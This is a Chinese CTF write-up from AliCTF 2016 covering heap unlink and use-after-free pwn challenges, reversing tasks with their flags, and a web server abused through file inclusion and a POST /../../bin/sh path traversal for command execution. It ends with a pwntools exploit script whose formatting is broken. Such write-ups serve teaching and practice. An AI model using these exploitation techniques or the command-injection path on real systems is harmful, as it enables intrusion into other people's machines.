上上周参加了阿里的CTF,靠着最后绝杀队伍有幸拿到了国内第一名,也顺利进入了XCTF Final。把自己做的几个题简单写了下,发出来也算个总结吧。

PWN-FB

经典的null byte overflow加上unlink,覆盖下一个堆块SIZE字段的pre_inuse字段,free时造成后向融合,unlink时可以写msg全局管理结构(设为gl)指向&gl-3。这样通过set message就可以任意地址写,此外,将free@got修改为printf@plt,这样每次free的时候都可以泄露指定地址的内容,可以任意地址泄露。这次的题用的都是同一个libc,所以也就没用dynelf来获得system地址了。

中间有个花絮,最初能任意地址写的时候,还想用伪造字符串表,并修改.dynamic段中.strtab的地址为伪造的字符串表的地址,来获取shell。但发现.dynamic段不可写,记得上一次做一个arm下的pwn时是可以写的,在x64下竟然不可以。

Mobile-Steady-android

整个程序都是用c++写的,没有用到java。我也没仔细看,打开so后发现做了控制流混淆,好吧,那就直接找关键函数吧,(其实,如果程序算法很复杂同时做了控制流混淆的话,我觉得基本上没人能做出来了,所以CTF中对so做控制流混淆的一般算法都不难)。

直接看到了一个flg(int, char*)的函数,进去一看,根据int的值,生成长度为12的字符串,大概就知道什么意思了,如果int值对的话,那个字符串数组就是flag了。好,直接把flg函数复制出来,并进行修改。对int设置了范围进行循环爆破,并要求求出的字符串数组在0-9a-zA-Z中,长度为12,爆出了30多个满足的字符串,我试了第4个还是第5个的时候就正确了,不得不说这是投机取巧了。

RE-DEBUG

是一个windows的程序,父进程会调试子进程,子进程在执行的时候会遇到非法指令,这个时候父进程会对子进程的指令和数据进行处理,并让子进程继续运行。处理分别是异或0x7f和异或0x31。

子进程会要求用户输入,经过128轮TEA加密算法,然后再处理,并将结果与指定数据进行比较,如果相等的话,就会输出Good!。

TEA的密钥是父进程在子进程执行过程出异常时进行的修改,四个key分别是0x112233,0x44556677,0x8899aabb,0xccddeeff。TEA是对称加密算法,下一步就是找一个tea的程序开始解密就好,刚开始傻傻地去github上找,发现都不好用,后来在博客园找到了一个。有个坑点就是,网上的代码大部分都是32轮的,如果直接修改为128轮的话,会有问题,有个小地方需要注意下,这里就不说了。Flag就是:c6bf3d7cdad82ea712cea62cccbafddf

RE-Httpd

这个题只给了一个地址和端口。请求过去,发现总是返回一个特定的阿里巴巴的页面。很早以前接触过文件包含,我就尝试着去试了下,真的可以!!如下图:

但是我尝试直接包含flag,发现并没有成功,这样的话,应该是flag被藏起来了。

下一步,继续通过文件包含把/home/httpd/httpd给读了出来,这样的话就有二进制文件了。接下来就是对二进制文件进行分析。分析后,如果是post请求过去,服务器会进行特殊的处理,如果POST /../../../../../../../../../bin/sh的话,服务器会启动执行/bin/sh,并把post过去的数据当作命令执行,并返回结果。这样的话,就可以任意指令执行了。这些都是本地调试后发现的。

定位flag文件位置的过程也挺有趣的,

flag藏在/home/httpd/httpd/ALICTF{you_know_flag_huh?}/ _______________/flag下,怪不得直接文件包含不到。

Routers

    是一个UAF的洞,通过泄露虚表地址泄露主程序模块,通过泄露top_chunk的值获得堆的地址,通过magic gadget获得shell,有时候magic gadget还是很好用的。

from pwn import *
#context.log_level='debug'
#by wah
r = remote('127.0.0.1',10001)
exe = 'routers'
def getpid():
pid= pwnlib.util.proc.pidof(exe)
print pid
raw_input('go!')
def new_router(r,name=''):
r.recvuntil('> ')
r.sendline('create router')
r.recvuntil('(tplink/hiwifi/cisco): ')
r.sendline('cisco')
r.recvuntil('router name: ')
r.sendline(name)
def new_terminal(r,tname='',rname=''):
r.recvuntil('> ')
r.sendline('create terminal')
r.recvuntil('you want to attach: ')
r.sendline(rname)
r.recvuntil('(windows/linux/osx): ')
r.sendline('linux')
r.recvuntil('terminal name: ')
r.sendline(tname)
def connect(r,r1,r2):
r.recvuntil('> ')
r.sendline('connect')
r.recvuntil('you want to be client: ')
r.sendline(r1)
r.recvuntil('you want to be server: ')
r.sendline(r2)
def disconnect(r,r1):
r.recvuntil('> ')
r.sendline('disconnect')
r.recvuntil('you want to disconnect: ')
r.sendline(r1)
def del_router(r,r1):
r.recvuntil('> ')
r.sendline('delete router')
r.recvuntil('you want to delete: ')
r.sendline(r1)
def getexebase(r):
r.recvuntil('> ')
r.sendline('show')
r.recvuntil("I'm connected to ")
data = r.recvuntil('\x0a')[:-1]
data = data + (8-len(data))*'\x00'
exebase = u64(data) - 0x204B30
print hex(exebase)
return exebase
def show(r):
r.recvuntil('> ')
r.sendline('show')
def leak(addr):
global r
name = 'a'*8 + p64(addr) + 'a'*16
new_router(r,name)
show(r)
r.recvuntil("I'm connected to ")
data = r.recvuntil('\x0a')[:-1]
data = data + (8-len(data))*'\x00'
func = u64(data)
print hex(func)
del_router(r,name)
return func new_router(r,'') #router 1
new_router(r,'') #router 2
new_router(r,'') #router 3
getpid() connect(r,'','')
connect(r,'','')
del_router(r,'')
new_terminal(r,'','')
exebase=getexebase(r)
del_router(r,'') setvbuf_got = 0x204EC8+exebase
strlen_got = 0x204EF0+exebase setvbuf = leak(setvbuf_got)
strlen = leak(strlen_got)
main_arena = setvbuf - 0x6C0A0 + 0x3A5620
#print hex(main_arena+89)
top_chunk = leak(main_arena+89)
top_chunk = top_chunk<<8
print hex(top_chunk) vtable = top_chunk - 0xa0 + 0x18
magic_gadget = setvbuf - 0x6C0A0 + 0x41374
name = p64(vtable) + p64(magic_gadget)*3
new_router(r,name)
disconnect(r,'')
r.interactive() r.close()

AliCTF 2016的更多相关文章

  1. 2016 alictf Timer writeup

    Timer-smali逆向 参考文档:http://blog.csdn.net/qq_29343201/article/details/51649962 题目链接: https://pan.baidu ...

  2. Be Better:遇见更好的自己-2016年记

    其实并不能找到好的词语来形容过去的一年,感觉就如此平淡的过了!没有了毕业的稚气,看事情淡了,少了一丝浮躁,多了一分认真.2016也许就是那句话-多读书,多看报,少吃零食多睡觉,而我更愿意说--Be B ...

  3. Connect() 2016 大会的主题 ---微软大法好

    文章首发于微信公众号"dotnet跨平台",欢迎关注,可以扫页面左面的二维码. 今年 Connect 大会的主题是 Big possibilities. Bold technolo ...

  4. “.Net 社区虚拟大会”(dotnetConf) 2016 Day 3 Keynote: Scott Hanselman

    美国时间 6月7日--9日,为期三天的微软.NET社区虚拟大会正式在 Channel9 上召开,美国时间6.9 是第三天, Scott Hanselman 做Keynote.今天主题围绕的是.NET ...

  5. “.Net 社区虚拟大会”(dotnetConf) 2016 Day 2 Keynote: Miguel de Icaza

    美国时间 6月7日--9日,为期三天的微软.NET社区虚拟大会正式在 Channel9 上召开,美国时间6.8 是第二天, Miguel de Icaza 做Keynote,Miguel 在波士顿Xa ...

  6. “.Net 社区虚拟大会”(dotnetConf) 2016 Day 1 Keynote: Scott Hunter

    “.Net 社区虚拟大会”(dotnetConf) 2016 今天凌晨在Channel9 上召开,在Scott Hunter的30分钟的 Keynote上没有特别的亮点,所讲内容都是 微软“.Net社 ...

  7. 微软发布正式版SQL Server 2016

    微软于今天在SQL 官方博客上宣布 SQL Server 数据库软件的正式发布版本(GA),历时一年多,微软为该软件发布了多个公共预览版和候选版本,而今天最终版本终于上线了.在博客中,微软数据集团的企 ...

  8. Summary of Critical and Exploitable iOS Vulnerabilities in 2016

    Summary of Critical and Exploitable iOS Vulnerabilities in 2016 Author:Min (Spark) Zheng, Cererdlong ...

  9. 黑云压城城欲摧 - 2016年iOS公开可利用漏洞总结

    黑云压城城欲摧 - 2016年iOS公开可利用漏洞总结 作者:蒸米,耀刺,黑雪 @ Team OverSky 0x00 序 iOS的安全性远比大家的想象中脆弱,除了没有公开的漏洞以外,还有很多已经公开 ...

随机推荐

  1. NET中级课--设计模式1

    1.分类 创建型  结构型  行为型 2.总体思路 使用接口和抽象类 3.创建型 工厂: 单例:整个系统中对象是唯一的或固定数目的对象如对象池 4.结构型

  2. asp.net 读取Excel文档

    <注:>默认读取数据从Excel的第二行开始. public DataSet ReadExcel(string Path) { string strConn = "Provide ...

  3. C#鼠标键盘钩子

    using System;using System.Collections.Generic; using System.Reflection; using System.Runtime.Interop ...

  4. 解决ScrollView嵌套ListView和GridView冲突的方法

    本文摘抄自:http://blog.csdn.net/yuhailong626/article/details/20639217 原文地址:http://blog.csdn.net/yuhailong ...

  5. Android Studio添加应用作为依赖时报错Error:Dependency MonthText:xlistview:unspecified on project app resolves to an APK archive which is not supported as a compilation dependency. File: 及其解决方案

    Error:Dependency MonthText:xlistview:unspecified on project app resolves to an APK archive which is ...

  6. Yii 安装

    // 安装 composer curl -s http://getcomposer.org/installer | php // 把 composer 添加到全局命令 mv composer.phar ...

  7. dojo Tree 添加、删除节点

    var tree=this.tree; var store=tree.model.store; if(this.node){ console.log(this.node) var children=t ...

  8. where和having的区别

    1.用的地方不一样 where可以用在select  update delete insert......into语句中 having只能用在select语句中 2.执行顺序不一样 where的搜索条 ...

  9. JavaScriptSerializer类 对象序列化为JSON,JSON反序列化为对象

    JavaScriptSerializer 类由异步通信层内部使用,用于序列化和反序列化在浏览器和 Web 服务器之间传递的数据.说白了就是能够直接将一个C#对象传送到前台页面成为javascript对 ...

  10. [置顶] SPL讲解(4)--Criteria操作篇

    概念 以前一篇文章中,描述了实体Entity的操作,很明显,仅仅实体的操作是远远不够的.如:我们经常会根据查询条件从数据库中获取记录集并绑定到DataGrid上,会根据条件进行批量的Update和De ...